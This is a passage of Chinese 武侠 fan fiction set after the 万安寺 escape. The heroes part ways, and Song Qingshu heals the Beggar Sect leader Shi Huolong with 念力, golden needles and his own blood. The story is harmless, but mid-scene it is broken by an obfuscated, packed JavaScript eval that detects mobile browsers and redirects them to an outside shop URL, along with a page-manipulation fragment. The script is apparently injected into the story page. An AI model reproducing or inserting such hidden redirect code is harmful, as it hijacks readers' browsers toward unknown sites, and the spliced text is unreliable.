张无忌站在一旁,默默听着。他肩负明教教主重任,又有救援之恩,此时他的态度举足轻重。然而,他脑海中却清晰地回响着另一个声音,是火光映照下,赵敏那双复杂眼眸的无声约定,以及那句低语:“我在大都等你。” 那是他亲口应承的,关乎义父和屠龙刀,也关乎……一段他尚无法厘清的纠葛。 他抬起头,迎着众人等待的目光,缓缓道:“四师叔与各位前辈思虑周全,往西北暂避,确是上策。明教教众,可分出一部,护送、协助各位前辈西行。” 他顿了顿,声音平稳却坚定,“然,无忌尚有一桩要紧私事,必须前往大都一行。此事关乎一位至亲长辈下落,恕无忌不能与诸位同往西北了。” 众人闻言,虽感意外,但念及他身份特殊,武功盖世,且此番恩情重如山岳,也不便多问,更无法强留。空闻大师合十道:“张教主高义,万事小心。” 殷天正虽担心外孙,却也知他性子,只沉声道:“无忌,一切以安全为重。” 一直沉默立于武当众人之间的宋青书,此刻也忽然上前一步。 他的脸色在火光下依旧显得苍白,但眼神却凝着一股破釜沉舟般的决意,先前塔上塔下的惊险,似乎并未动摇他心中某个早已做好的决定。 “爹,各位师叔,”他先向宋远桥及俞莲舟等人行礼,然后转向众人,声音不高,却字字清晰,“弟子也有一事,必须即刻去办。恕弟子不能随大队西行。” 宋远桥心头一紧,急道:“青书!你要去何处?你独自行动太危险!” 他知儿子素来沉稳,更有配制解药之功,但爱子之心,岂能放心? 宋青书迎上父亲担忧的目光,心中酸涩,却毫无退缩:“爹,请恕孩儿不孝。此行往东。有一个人……弟子非救不可。” 他没有说出名字,但语气中的沉重与不容置疑,让宋远桥瞬间明白,这绝非一时冲动,而是深思熟虑,甚至可能背负着某种他这做父亲的尚且不知的沉重原因。 已经没有时间让去悲戚哀毁了,必须马上赶往那处。 往东?那是更深入中原腹地,也可能更接近元廷势力范围的方向,与大队西行背道而驰。 “东边?”俞莲舟捻须沉吟,“青书,如今形势未明,你……” 话未说完,莫声谷已大步走到宋青书身边,手按剑柄,年轻的脸庞上是毫无犹豫的坚定:“大哥,三哥,四哥,你们随大队西行,恢复武当元气要紧。青书这边,我陪他去!” 他目光炯炯,“这孩子心思重,但做事有他的道理。既然他说非救不可,那就是非救不可。我做师叔的,护他周全便是!” “七弟!”宋远桥又是感动又是担忧。 莫声谷咧嘴一笑,带着武当七侠特有的那股豪气与担当:“放心吧大哥!东边我也熟!定把青书平平安安带回来!” 张无忌看着这一幕,目光在宋青书决绝而孤寂的脸上停留片刻。他知道这位师兄心中藏着极深的郁结,此去东行,只怕艰险异常。 他想说什么,最终却只是走上前,对宋青书和莫声谷抱拳道:“师兄,七师叔,一路珍重。若有需要,无论东西,传信明教,无忌必至。” 宋青书深深看了张无忌一眼,郑重还礼:“多谢无忌。……你也保重。” 事已至此,纵有千般担忧,也只能化为嘱咐。宋远桥拉着宋青书的手,仔细叮咛许久,又将几瓶武当秘制的伤药、一些银两塞给他。俞莲舟、张松溪也各自嘱咐莫声谷小心行事,不可逞强。 很快,三方去向已定: 大队人马,以六大派为主体,部分明教、天鹰教人员护送,由张松溪、空闻大师等率领,即刻转向西北,隐入夜色。 张无忌,只带少量明教亲信好手,如杨逍、韦一笑等,目标明确——元大都。 宋青书与莫声谷,两人一骑(另备一马换乘),轻装简从,折而向东,身影很快被林木遮蔽。 火把渐次熄灭,原地只余下践踏的痕迹与劫后的寂静。三方人马,向着各自未知的险境与目标,毅然分道扬镳。 夜风呜咽,掠过空旷的原野,仿佛在叹息这场始于万安寺烈火、终于荒野分岔路口的悲壮逃亡与抉择。每个人都背负着自己的责任、誓言与秘密,踏上了前途未卜的漫漫长路。 宋远桥站在西行的队伍前列,忍不住再次回望东方那片吞噬了爱子与师弟身影的深沉黑暗,良久,才在师弟的催促下,狠心转身,迈向西北的群山。 而东方,宋青书与莫声谷的身影早已不闻,唯有天际,渐渐透出一线熹微的晨光,冰冷地勾勒出远山的轮廓。 西行的队伍在晨雾中沉默地前进,马蹄踏过沾满露水的荒草,发出沉闷的声响。大部分人因疲惫和伤势而精神萎靡,只顾埋头赶路,唯有几位领头者强打精神,留意着四周动静。 宋远桥走在武当众人前列,腰背依旧挺得笔直,手中长剑未曾归鞘,保持着警惕。然而,他那双惯常沉静如古井的眼眸,此刻却像是被投入了石子的潭水,涟漪不断,频频向着早已看不见的东方天际望去。 眉头无意识地锁着,仿佛那里不是渐亮的天光,而是凝聚不散的阴云。 “大哥,”张松溪驱马靠近,与宋远桥并肩而行,他素来心细如发,观察敏锐,早已将兄长的神情尽收眼底。 此刻晨光微熹,雾气稍散,他侧过头,脸上带着一丝试图驱散凝重的、刻意放松的笑意,压低声音道:“你这眉头,从分道时起就没松开过。知道的,是武当宋大侠忧心江湖大事;不知道的,还以为是哪个婆婆妈妈的老爹,舍不得离家的孩儿呢。” 他语气带着几分戏谑,是兄弟间常有的调侃方式,意图缓解宋远桥紧绷的心弦。若在平日,宋远桥或许会摇头失笑,斥他一句“没个正经”。但此刻,宋远桥只是嘴角极为勉强地牵动了一下,那笑意未达眼底便已消散,目光依旧沉沉地望着东方,仿佛能穿透重重山峦与晨曦。 “四弟,”宋远桥的声音有些干涩,透着一股 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这危险或许并非来自看得见的刀剑追兵,而是别的、更隐晦难测的东西。 “我明白,”宋远桥叹息一声,终于将目光从东方收回,却仍是无意识地摩挲着冰凉的剑柄,“声谷的能耐,我自然信得过。只是……许是人老了,经不起惊吓。” 万安寺中目睹爱子受胁却无力相救的情景,终究在他心中留下了难以磨灭的阴影。 他怕,怕再一次接到任何关于宋青书的坏消息。这种“怕”,与武功高低、局势分析无关,纯粹是一个父亲最柔软也最脆弱的牵挂。 俞莲舟在一旁也听到了他们的对话,此时缓步上前,沉声道:“大哥,关心则乱。青书心性十分坚韧,非鲁莽之辈。他既选择东行,必有非去不可的理由。我们眼下最重要的,是护着大队平安抵达西北,恢复元气,稳住武当根基。唯有后方稳固,方能成为他们无论遇到何种困难时,可以回头的依靠。” 宋远桥闻言,深吸了一口气,清晨凛冽的空气涌入肺腑,让他混沌的思绪清明了几分。二弟说得对,他是武当首徒,是此刻这支队伍的主心骨之一,不能因私废公。 他强迫自己将那份蚀骨的父亲之忧暂且压下,重新凝聚起一派掌门应有的沉稳与决断。 “二弟、四弟所言极是。”宋远桥点了点头,脸上终于恢复了些许往日的坚毅神色,只是那眼底深处的忧色,却如同墨迹滴入清水,虽被搅动淡化,终究未能完全散去。 他挺直脊梁,目光扫过蜿蜒前行的队伍,声音也恢复了平时的稳重:“传令下去,加快脚程,务必在午时前穿过前方峡谷。” 张松溪与俞莲舟对视一眼,心中稍安,知道大哥已尽力克制。他们不再多言,各自去传达命令、巡视队伍。 队伍的速度悄然加快,马蹄声和脚步声在晨曦中变得急促起来。 宋远桥不再频频东顾,他将那份不安与牵挂,深深埋入心底,化作更谨慎的观察与更坚定的前行。 只是偶尔,在无人注意的间隙,他的目光仍会不由自主地飘向东方那轮逐渐升高的旭日,仿佛想从那光华中,窥见一丝千里之外爱子的吉凶讯息。 父亲的心,总是这样,即便理智千般告诫,那份最原始的直觉与担忧,却永远无法真正熄灭。 西行的路还很长,而宋远桥只盼,东方的那两个人,能逢凶化吉,早日带来平安的消息。 52. 破笠芒鞋义气全 宋青书走在莫声谷身侧,脚步落得很稳。 他穿着一身半旧的青布长衫,料子普通,浆洗得倒干净,腰间悬着个不大的青布囊。 自离开万安寺,他就一直是这样打扮。 莫声谷偶尔侧目看他,总觉得这师侄,像深潭的水,不起波澜,也望不见底。 他记得宋青书自废武功那日,震断经脉时额上滚落的冷汗和瞬间惨白的脸,也记得此后他埋首医书药典、捣药行针时近乎执拗的专注。 这一路风餐露宿,宋青书从未叫过一声苦,而时常留意沿途草木,采集些不起眼的药草,细细收好。 莲花山庄已在不远。山势平缓,绿树掩映,本是处幽静养病的好所在,此刻却隐隐透出一股不安。庄门紧闭,墙头不见人影。 莫声谷浓眉一拧,上前扣动门环,声音不大,却自有股沉稳的穿透力:“武当莫声谷,携师侄宋青书,拜会丐帮史帮主!” 在路上他已经听宋青书提起,此行是为拜访一位叫做史火龙的故人,且他是丐帮帮主。至于宋青书是如何认识史帮主的,莫声谷也就没问。 青书的年纪与他相差不多,为人靠谱庄重。 他始终对他有种特殊的信任。 里面静了片刻,才有脚步声匆匆而来。门开了一道缝,露出张惊惶焦灼的脸,是个老仆,认得武当服饰,连忙让开:“莫七侠,宋少侠,快请进!夫人……夫人正……” 话未说完,院内已传来压抑的哭泣声。 其实仆人来通传的时候,史夫人根本就不知道自己的丈夫何时与武当的人有交集。但是…… “让他们……进来吧……”虽然史火龙自己也不知道何时与武当的莫声谷和宋青书有什么交往,但是武当派行事向来是光明磊落,或是可以托付的。 听到哭声,两人心中一沉,快步穿过前庭。廊下、院中,或站或坐了些丐帮弟子,大多身上带伤,神情悲愤颓唐,见他们进来,只勉强拱了拱手,眼神里满是绝望。 哭声是从正房传出的。门帘掀着,一股浓重的血腥气和着药石苦涩的味道扑面而来。 房内陈设简单,一张大床占去小半地方。床上仰卧一人,乱发蓬须,面如金纸,正是丐帮帮主史火龙。他双目紧闭,胸口的起伏微弱得几乎看不见,仅存的一丝生气,似乎也正随着那微弱的呼吸一点点流逝。 床边,一位荆钗布裙、面容憔悴的妇人正握着他一只手,泪水涟涟,正是史夫人林彩凤。她抬起头,看见莫声谷和宋青书,眼中闪过一丝微弱的、近乎本能的希冀,但那光芒旋即被更深的悲痛淹没。 “莫七侠……”她声音嘶哑,泪水又涌了出来,“你们……你们来晚了……我丈夫他……他没救了……成昆那恶贼的幻阴指……” 她哽咽着说不下去,只是摇头。 莫声谷心头一紧,上前一步:“史夫人,且莫说丧气话,让……”他顿了一下,看向身侧的宋青书。 宋青书自进门起,目光便落在史火龙身上,神色平静,并无太多波澜。此刻见莫声谷看来,他微微颔首,上前几步,走到床边。 看来还是来晚一步了。 林彩凤有些茫然地看着这个过分年轻、衣着朴素的陌生人,又看看莫声谷。 “史夫人,”宋青书开口,声音不高,却清晰平稳,带着一种奇异的安定力量,“让在下看看史帮主伤势,或许……还有一线希望。” 林彩凤像是抓住了最后一根稻草,慌忙松开握着史火龙的手,让开位置,眼中重又燃起一点火光,尽管那火光在绝望的底色下显得如此微弱。 宋青书在床前矮凳坐下,并不急于号脉,先细细看了看史火龙的脸色、唇色,又轻轻翻开他的眼睑瞧了瞧,目光最后落在他中指的指尖——那里有一小块极淡、几乎难以察觉的乌青。他伸出手,三指搭上史火龙的腕脉。 指尖传来的脉象,沉微欲绝,间或有一丝极寒极锐的异气窜动,所过之处,生机便弱一分。 屋内极静,只听得见林彩凤压抑的抽泣和窗外风吹过树叶的沙沙声。莫声谷站在一旁,屏息凝神,目光落在宋青书搭脉的手指上。 他知道青书在医术的造诣已经是出神入化,三哥是他治好的,又听六哥说救了被韦一笑吸了血的静虚,帮锐金旗的人接断手……但史火龙这般伤势,连他这不通医术的人也看得出已是弥留,幻阴指寒毒霸道天下皆知……青书他,真能有办法? 片刻,宋青书收回手,眉头几不可察地蹙了一下。 “如何?”莫声谷忍不住低声问。 宋青书抬眼,看向林彩凤,语气依旧平稳,却多了几分凝重:“史夫人所料不差,幻阴指力已然透体,寒毒侵入心脉,锁闭生机。寻常药石针砭,确实回天乏术。” 林彩凤身体一晃,脸色霎时惨白如纸,眼中那点微光彻底熄灭,泪水无声滚落。 然而,宋青书话锋并未就此断绝,他顿了顿,继续道:“但毒入心脉,也非必死之局。关键在于,能否在毒力彻底噬灭心脉一点真阳之前,将其拔除,并护住那一缕生机不散。” 林彩凤猛地抬头,泪眼模糊地看着他,嘴唇颤抖:“宋……宋少侠的意思是……” “我可以一试。”宋青书说得简单干脆,没有豪言壮语,也没有半分犹豫,仿佛只是在陈述一件理所当然的事。“但是要看他的造化了……当然,也要看我的造化。” 他不再多言,示意林彩凤退开些。然后,他伸出右手食指中指,并拢如剑,悬于史火龙身体上方寸许,并不接触。 在莫声谷和林彩凤惊疑的目光中,宋青书缓缓闭上了眼睛。 下一瞬,他并拢的指尖,忽然泛起一层极其微弱的、近乎无形的乳白色光晕。那光晕如同温水表面升腾的薄薄雾气,并不刺眼,却带着一种难以言喻的温润与生机。 宋青书手指动了。 是念力。 莫声谷第一次看宋青书使用念力,他的侧脸在窗外透入的天光下显得格外沉静,甚至有些漠然,仿佛正在进行的并非什么惊世骇俗之事,只是寻常的诊治病患。 也仿佛是他势必会把史火龙治好,不治好,便同死也可。 只见他以指代针,虚虚点向史火龙的膻中穴。指尖的乳白光晕随着他的动作,拉伸出细若游丝的一缕,轻柔地没入史火龙的胸口膻中位置。紧接着,他手势变幻,或点、或划、或引,动作流畅而精准,依次虚点向神阙、气海、关元、中脘……周身十数处紧要大穴。 每一指落下,都有一缕微不可察的乳白气息随之注入。 起初并无异状,但渐渐的,史火龙原本死灰般的脸上,那层笼罩的金纸色似乎淡了极其细微的一丝。而他微弱得几乎停滞的呼吸,也仿佛有了一点极其轻微的、规律的起伏。 林彩凤死死捂住自己的嘴,眼睛瞪得极大,泪水糊了满脸也顾不得擦。她看着那在宋青书指尖流转、没入自己丈夫体内的奇异乳白气流,惊异得连声音都变了调: “这……这是……先天真气?” 没有人回答她。 突然,宋青书点向史火龙眉心的手指,在印堂穴上方半寸处稳稳停住。 指尖那一缕凝实了些的乳白光晕,并未直接没入穴位,而是如同拥有生命般微微颤动,似乎在感知、试探着什么。宋青书紧闭的双眸下,眼珠微微转动,额角沁出一层细密的汗珠,脸色比方才更显苍白。 屋内落针可闻。林彩凤捂着嘴,连抽泣都忘了,眼睛一瞬不瞬地盯着宋青书的手指和丈夫的脸。只要能够救得丈夫,管它是什么真气还是什么。 莫声谷仍僵立在碎瓷片与茶渍之中,呼吸粗重,目光复杂难明,又添上浓浓的担忧。 青书救人往往不顾自身,他已经在六哥那儿耳闻过,所以他所要做的就是拉住宋青书,提醒宋青书。 足足过了十息,宋青书才缓缓吐出一口绵长的气息,那气息在安静的室内显得格外清晰。他睁开眼,眼底掠过一丝极深的疲惫,但目光依旧沉静。 “寒毒盘踞心脉,与史帮主本身阳刚内力激烈冲突,又因强练降龙掌法,上肢经脉本有旧伤隐疾,三者纠葛,已成死结。”他声音低缓,却字字清晰,如同医者在剖析最难解的病症,“单凭疏导,杯水车薪,反可能激起寒毒反噬。” 林彩凤的心又揪紧了:“那……那该如何是好?” 宋青书没有立刻回答,他收回悬在史火龙眉心的手指,垂眸看了看自己微微发颤的指尖,那上面的乳白光晕已然淡去。他重新闭上眼,深深吸气,这一次,吸气的时间长得让旁观的两人都有些不安。 当他再次睁眼时,眸中仿佛有两簇极微弱的光火一闪而逝。他不再凌空虚点,而是伸出右手,掌心向下,缓缓悬空覆在史火龙的胸口膻中穴上方。 “史夫人,莫七叔,”宋青书的声音带上了一丝不容置疑的决断,“接下来无论看到什么,请务必保持安静,万勿惊扰。” 林彩凤用力点头,指甲几乎掐进掌心。莫声谷也深吸一口气,强迫自己定下心神,沉声应道:“你放心。” 宋青书不再言语,覆在史火龙胸口的手掌,猛地向下一按! 并非真的接触皮肉,而是在距离衣衫毫厘之处稳稳停住。但就在这一按之下,他整个人的气势骤然变了。方才那种沉静如渊的感觉消失不见,取而代之的是一种近乎倾泻般的决绝! 嗡—— 一声极其轻微、仿佛直接响在人心底的颤鸣。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17109871|195845||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 以宋青书覆掌之处为中心,一股远比之前凝实、浓郁、温暖如春日阳光的乳白色光芒,毫无保留地奔涌而出!这光芒并非四散,而是如同百川归海,又似无形之手引导,尽数灌入史火龙胸口的膻中大穴! 那不是一丝一缕,而是近乎磅礴的乳白光流! 不好!青书是打算将自己的所有都输给史帮主! 这孩子果然是那种为了救人而不要自己的命的。 那念力正如开闸洪水般不计代价地灌注给史火龙! 可是他刚才已经答应了宋青书,早知道的话,他绝不会答应。 “呃……”昏迷中的史火龙,身体剧烈地一颤,喉咙里发出一声痛苦的闷哼。一层肉眼可见的、带着冰蓝寒气的黑气,猛地从他皮肤下浮现,尤其是在胸口、双臂处,几乎要透体而出,与那灌入的乳白光流激烈对抗、纠缠! 宋青书的身形晃了晃,脸色以肉眼可见的速度变得惨白如纸,额上、颈侧青筋隐现,覆掌的手臂微微颤抖,但他覆掌的姿势却稳如磐石,那乳白光流的输出,没有丝毫中断或减弱,反而在最初激烈的对抗后,变得更为绵长、坚韧,如同暖阳化雪,一点点浸润、包裹、消融着那冰寒的黑气。 林彩凤看得浑身发抖,死死咬住嘴唇才没叫出声。 这小子……他不要命了吗?!莫声谷想,不行! “青书,你快停下。否则七叔就要强行阻止你了。” “就快好了……七叔,不要!” 时间在令人窒息的对抗中缓慢流逝。 史火龙身上的冰蓝黑气渐渐被乳白光流压制、逼退,从全身缓缓向胸口膻中处回缩。 宋青书的鬓角已被汗水浸湿,嘴唇失去了所有血色,整个人摇摇欲坠,只有那双眼睛,依旧亮得惊人,死死盯着史火龙的变化。 终于,最后一缕冰蓝黑气在史火龙胸口挣扎了一下,被汹涌的乳白光流彻底吞没、化去。 “噗——”史火龙猛地侧头,喷出一口淤黑腥臭的血液,落在床榻边沿。 与此同时,宋青书闷哼一声,覆掌的手无力垂下,整个人向后踉跄一步,几乎站立不稳,被一直紧盯着他的莫声谷抢上前一把扶住。莫声谷触手只觉得宋青书身体轻飘,气息微弱得吓人,扶着他的手臂却感觉到一阵冰冷的虚汗。 “青书!”莫声谷低呼。 宋青书借着他的搀扶勉强站稳,急促地喘了几口气,声音虚浮却带着完成第一步的如释重负:“寒毒……根基已拔除……心脉暂保……” 林彩凤扑到床边,只见史火龙虽然依旧昏迷,但脸上那层死气的金纸色已然褪去不少,嘴唇虽然苍白,却不再是骇人的青紫,呼吸虽然微弱,却已有了明显的起伏节奏,不再似之前那般随时会断绝。 她喜极而泣,又要拜谢,却被宋青书虚弱的抬手止住。 “史夫人……且慢高兴,这只是第一步。”宋青书喘息稍定,语气却愈发凝重,“史帮主强练降龙十八掌不得其法,阳刚内力走岔,已损及上肢主要经脉,加上此次寒毒侵扰,双臂瘫痪之症,已成痼疾。” 林彩凤脸色一白,这才注意到,丈夫喷出毒血后,双臂仍软软垂着,毫无反应。 这确实是沉疴痼疾,她已经陪着她的丈夫寻医问药好多年了,丈夫的手臂已经好了九成了,就在这当儿,该死的成昆居然又打伤了丈夫。 她去检查了一下丈夫现在的手臂的状况,就如同这个小神医所说的又瘫痪了。可是听小神医的话,貌似还能够治好。 她不禁又喜极而泣。 宋青书从莫声谷的搀扶中稍稍站直,尽管脸色依旧难看,眼神却重新凝聚起专注的光。“瘫痪因经脉阻滞、萎缩而起,需以外力重新打通、滋养,辅以药物接续生机。” 他看向林彩凤,语速加快,带着不容置疑的急迫,“请史夫人立刻准备以下物品:百年以上血竭三钱、雪莲玉髓粉五钱、续断灵膏一盒、七叶金线草整株三株、至少五十年份的野山参一支切片备用。另外,需要一套最细的金针,以及一盆滚沸的烈酒,越烈越好,再寻一处绝对安静、不受打扰的宁心堂。” 林彩凤听得有些发懵,这其中有些药材极为珍贵难得,但她此刻对宋青书已是深信不疑,一咬牙:“庄内药库或有部分,缺的,我立刻让人去城中最大药铺搜罗!金针、烈酒、宁心堂,立时便能备好!” “好,我得去休息一下。”宋青书靠在莫声谷臂膀上,闭目调息,但显然消耗过巨,一时难以恢复。 看来这次对于青书来说确实是损耗过度了,莫声谷很少听见青书喊累要休息的。 林彩凤匆匆向宋青书和莫声谷行了一礼,立刻转身出去,急促地吩咐等候在外的丐帮弟子。 53. 破笠芒鞋义气全2 屋内暂时只剩下三人。史火龙的呼吸平稳了些。 “青书,”莫声谷压低声音,语气带着前所未有的严肃与担忧,“你下一次再要如此,我一定会当场阻止,不会听你说的。” 宋青书睁开眼,眼中带着深深的疲惫,还有一丝莫声谷看不懂的复杂。 “七叔,”他声音沙哑,“此事……容后再议。我累了……” 莫声谷马上把他抱起来,放置在旁边的床榻上,给他掖好被子。这个臭小子,居然跟七叔我说,容后再议。 胆子太肥! 等他好了,我一定要…… 宋青书直直睡了一天一夜,后来好像是惦记着有什么事情似的,挣扎着醒了过来。 李彩凤也已经去着人准备宋青书所说的药材。 宋青书醒来之后,目光还有些呆滞,看得莫声谷好笑,但是更多的事心疼。 宋青书马上醒过神来,病去如抽丝,但是治病当从速。 “昨日我耗力过度,但是我已恢复,可以继续后续施为。史帮主体内隐患,除了寒毒与瘫痪,还有一重——他内力虽看似阳刚雄浑,实则驳杂不纯,刚猛有余而韧性不足,与降龙十八掌真正刚柔并济、至刚生柔的意境相悖,这也是他强练受伤的根源之一。待解决瘫痪之症后,还需最后一步,提纯其内力,化驳杂为精纯,方能使降龙掌法真正得其神髓,而非反受其害。” 莫声谷听得心头震动。青书这不但是要治好史帮主的病,还要锦上添花,为他解决内力博杂的烦恼。他何以对史帮主这般“掏心掏肺”?就跟对待我和他几位师叔一样。 但他也知此刻不是追问之时,只沉声道:“你心中有数便好。需要师叔做什么?” “为我护法,无论待会儿宁心堂之内有何动静,绝不许任何人闯入。”宋青书说完,便不再言语,重新阖上眼帘,竭力汲取着空气中微薄的元气,恢复那几乎枯竭的念力。 他感到前所未有的虚弱,但精神却异常清晰。 史火龙的伤,是他运用“念力”以来面对的最严峻挑战,也是验证他所思所学的关键一役。还是……不能说的秘密。 不多时,林彩凤去而复返,面色焦急中带着一丝振奋:“宋少侠,所需药材,庄内库中找到大半,只缺七叶金线草和五十年份的野山参,已命人快马加鞭去寻!金针、滚沸的烈酒、后山最安静的石室都已备好!” 宋青书睁开眼,点了点头,强撑着站直身体:“先将史帮主移至石室。药材寻回,立刻送来。事不宜迟,我们这就开始第二步。” 他看向床上呼吸渐稳的史火龙,目光落在那双绵软无力的手臂上。 化解寒毒,只是保命。接续瘫痪经脉,才是真正逆天改命的开始。而他方才倾注的念力,已在史火龙体内埋下了一缕生机的种子,接下来,就是要用金针、药物和剩余的念力,引导这颗种子,去冲破那些枯萎的壁垒。 史火龙被小心地移入后山石室。石室幽深,仅有一扇小窗透入天光,陈设简单,一床、一几、两凳,墙角燃着安神的药香,驱散了些许石壁的阴冷潮气。那盆滚沸的烈酒被铜炉架着,保持微沸,酒气蒸腾,混合着药香,形成一种奇特的、略带刺激性的氛围。 丐帮弟子寻回的药材被迅速送来,百年血竭色如暗红漆,雪莲玉髓粉莹白细腻,续断灵膏呈琥珀色,药气扑鼻。只是七叶金线草和五十年份野山参仍未到位。 宋青书检视药材,微微蹙眉,但并未多言。他先让林彩凤以烈酒为史火龙擦拭上身,尤其是双臂穴道所在。自己则静坐调息,脸色依旧苍白,但眼神重新凝聚起专注的锐光。莫声谷持剑守在石室门口,如渊停岳峙,隔绝了外界一切可能的打扰。 “史夫人,请以三碗山泉水,文火慢煎血竭与雪莲玉髓粉,煎至一碗,备用。”宋青书吩咐完,取过那套细若牛毛的金针,在烈酒蒸汽上缓缓熏过消毒。 待药煎好,宋青书示意林彩凤扶起史火龙上半身,他取过药碗,自己先试了试温度,然后以金针轻刺史火龙舌下与颊内几处不起眼的穴位,史火龙昏迷中喉头微动,宋青书趁机将温热的药汁一点点哺入其喉中。手法娴熟冷静,仿佛演练过千百遍。 喂完药,宋青书将空碗递给林彩凤,深吸一口气,双手各拈起数枚金针。 “我要开始了。过程或有痛楚,史帮主或有反应,夫人请勿惊慌,无论如何,不可触碰史帮主或我。” 林彩凤重重点头,退到墙边,指甲深深掐入手心。 宋青书出手如电! 金针化作一道道细微的金芒,精准无比地刺入史火龙双臂、肩颈、乃至头顶的数十处穴位!深浅不一,角度各异,有的轻颤,有的留滞。他下针极快,仿佛根本无需思考,穴位经络早已烂熟于胸。每落一针,他指尖都萦绕着极其微弱的乳白光晕——那是他强行压榨出的、残余的念力,随针渡入,引导药力,刺激那近乎枯萎的经脉。 “嗯……”昏迷中的史火龙眉头猛地拧紧,身体不受控制地抽搐了一下,尤其是双臂,竟微微弹动了一瞬!虽然很快又软垂下去,但这细微的反应已让林彩凤激动得浑身发抖。 宋青书额上冷汗涔涔,下针却稳如磐石。他行针并非一次完成,而是不断捻转、提插、甚至以特殊手法轻弹针尾,引动针气。石室内只闻他略显粗重的呼吸,以及金针微不可察的颤鸣声。 时间一点点过去。史火龙裸露的上身渐渐渗出一层细密的、带着淡淡腥味的汗珠,肤色由苍白转为一种不正常的潮红,尤其是双臂,皮肤下仿佛有微弱的气流在窜动。 忽然,宋青书捻动金针的手指一顿,脸色变得更加难看。他感知到,史火龙双臂几处关键的连接经脉,因多年废用和此次寒毒侵蚀,已然彻底闭塞萎缩,单凭金针渡气与药物,难以真正贯通接续。就像河道完全干涸板结,仅靠细雨无法润开。 他需要冰魄银丝或冰魄银片,但眼下,这两样东西都不在身边。他的药箱在万安寺就被赵敏收了,或许要跟无忌说一声,要赵敏把他的药箱还回来。 宋青书的目光,落在了自己因为耗力过度而微微颤抖、毫无血色的手指上。 一个近乎疯狂的念头掠过脑海。 没有冰魄银丝和冰魄银片,那么……自己的血液呢? 自重生以来,自废武功之后,他以念力淬体,生命本源在念力的日夜浸润下,早已与常人不同。也许那次救静虚他的血液也起到了不少的作用。 此番为救史火龙,几乎将积攒的念力本源倾注其体内,再加上自己的血液,应该于史帮主更有益…… 可是风险极大。且是否真有效用,也不能全然知道。 但史火龙双臂经脉的枯萎状况,已容不得再等。拖得越久,接续的希望越渺茫。 这也是宋青书第一次体会到死马当活马医这样的心境。 他眼神一凛,再无犹豫。飞快地起出史火龙身上大部分金针,只留下心脉附近几枚护住根本。然后,他取过一旁一把锋利的匕首,在烈酒火焰上灼烧至通红,再迅疾冷却。 “青书,你要做什么?”一直紧盯着他的莫声谷察觉不对,忍不住低声喝问。 宋青书没有回答。他挽起自己左臂的衣袖,露出苍白消瘦的手臂,右手持那把锋利的匕首,毫不犹豫地朝着自己左腕内侧一处隐秘的血管划去! “住手!”莫声谷大惊,一个箭步冲上前,就要抓住他的手腕。 宋青书猛地抬头,目光如冷电般射向莫声谷,声音嘶哑却带着不容置疑的决绝:“七叔!你信我!” 他眼神中的决然和一种爆裂的执着是莫声谷无法理解的东西,让他的手硬生生停在半空。 匕首一划,一股鲜红中隐隐带着一丝极淡、几乎无法察觉的乳白光晕的血液,涌了出来。宋青书迅速用早就备好的一个玉碗接住流淌的鲜血。 血液并不多,但是也接了深深一个碗底,约莫五六口的量,但宋青书的脸色,却在血液流出的瞬间,灰败了下去,仿佛有什么根本的东西被抽离了。 他端着那碗血,手臂微微发抖,走到史火龙床边。 “史夫人,扶稳帮主。” 林彩凤早已被这接二连三的变故惊得魂不守舍,闻言几乎是本能地照做。 宋青书捏开史火龙的嘴,将那一小碗温热的、带着他自己生命气息的血液,缓缓灌入其口中。做完这一切,他踉跄一步,几乎瘫软在地,被眼疾手快的莫声谷再次扶住。 “你……你这混账小子!”莫声谷又急又怒,声音都在发颤。他能感觉到,宋青书此刻的气息,虚弱得像风中残烛,比之前耗尽念力时更加糟糕。 宋青书靠在他身上,连摇头的力气似乎都没了,只勉强扯动嘴角,露出一个极淡的、近乎虚幻的笑,气若游丝:“总得……试试……不然,会前功尽弃……” 他话音未落,床上的史火龙,异变陡生! 喝下那碗血后,他全身猛地一震,潮红的皮肤下,那原本微弱窜动的气流骤然变得剧烈!尤其是双臂,竟肉眼可见地膨胀、收缩,皮肤下仿佛有无数小蛇在游走,骨骼发出轻微的“咯咯”声。他脸上露出极其痛苦的神色,喉咙里发出野兽般的低吼,若非林彩凤拼命按住,几乎要翻滚下床。 “火龙!”林彩凤吓得魂飞魄散。 宋青书却猛地睁大眼睛,死死盯着史火龙双臂的变化,低声道:“药力化开……血气冲关……是死是活……在此一举……师叔,取续断灵膏!” 莫声谷咬牙,将宋青书小心安置在墙边凳子上,转身飞快取来续断灵膏。 史火龙的挣扎持续了约莫一炷香的时间,那剧烈的波动才渐渐平息下来。他双臂不再诡异地蠕动,而是呈现出一种放松的、略带红肿的状态。他本人也仿佛耗尽了所有力气,沉沉睡去,呼吸却变得前所未有的平稳悠长。 宋青书示意莫声谷将续断灵膏均匀涂抹在史火龙双臂所有穴位和主要经脉走向上。药膏触及皮肤,竟被迅速吸收,只留下一层淡淡的晶莹光泽。 “成了……”宋青书吐出这两个字,再也支撑不住,眼前一黑,彻底晕厥过去。 莫声谷盘坐在墙角软垫上,宋青书靠在他身前,双目紧闭,脸色苍白如纸,气息微弱得几乎感觉不到。 莫声谷眉宇紧锁,他只能看着这样的宋青书干着急,他没有忘记师父的嘱托,不能给青书输内力。 石室那扇厚重、本已从内闩好的木门,忽然发出极轻微的一声“咔哒”响动。 不是推,不是撞,倒像是某种极精巧的内力或手法,震开了门闩。 莫声谷霍然睁眼,一只手已如电般按上了搁在身侧的剑柄,目光锐利如鹰隼,射向门口。 门,无声无息地滑开一道缝隙。 一道灰色的、略显佝偻的身影,如同融入阴影的鬼魅,悄无声息地飘了进来。来人披着件半旧的僧袍,未剃度,面容干瘦,颧骨高耸。 他半阖的眼皮下精光隐现,快速扫视室内:昏睡的史火龙,床边惊愕起身的林彩凤,墙角的莫声谷,以及那个气息奄奄、面生至极的青衫少年。空气中残留的奇异药血之气,让他的眉头几不可察地动了一下。 